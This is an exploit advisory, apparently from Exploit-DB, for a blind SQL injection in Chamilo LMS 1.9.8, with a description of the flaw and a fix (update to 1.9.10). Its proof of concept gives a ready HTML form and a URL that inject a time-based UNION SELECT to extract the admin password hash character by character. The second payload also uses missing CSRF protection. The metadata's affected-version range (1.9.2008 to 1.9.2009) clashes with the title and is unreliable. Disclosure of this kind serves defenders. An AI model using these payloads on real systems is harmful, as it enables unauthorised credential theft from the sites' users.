Chamilo LMS 1.9.8 Blind SQL Injection

vendor:

Chamilo LMS

by:

Kacper Szurek

7.5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: Chamilo LMS

Affected Version From: 1.9.2008

Affected Version To: 1.9.2009

Patch Exists: YES

Related CWE: N/A

CPE: a:chamilo:chamilo_lms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Chamilo LMS 1.9.8 Blind SQL Injection

Database::escape_string() function is used to sanitize data but it will work only in two situations: 'function_output' or 'function_output'. There is few places where this function is used without quotation marks. For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()). For second exploit you need administrator privilege (there is no CSRF protection).

Mitigation:

Update to version 1.9.10

Source

Exploit-DB raw data:

# Exploit Title: Chamilo LMS 1.9.8 Blind SQL Injection
# Date: 06-12-2014
# Software Link: http://www.chamilo.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
Database::escape_string() function is used to sanitize data but it will work only in two situations: "function_output" or 'function_output'.

There is few places where this function is used without quotation marks.

http://security.szurek.pl/chamilo-lms-198-blind-sql-injection.html

2. Proof of Concept

For this exploit you need teacher privilege (api_is_allowed_to_edit(false, true)) and at least one forum category must exist (get_forum_categories()).

<form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)">
    <input type="hidden" name="SubmitForumCategory" value="1">
    <input type="submit" value="Hack!">
</form>

For second exploit you need administrator privilege (there is no CSRF protection):

http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)

Those SQL will check if first password character user ID=1 is "d".

  
3. Solution:
  
Update to version 1.9.10
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues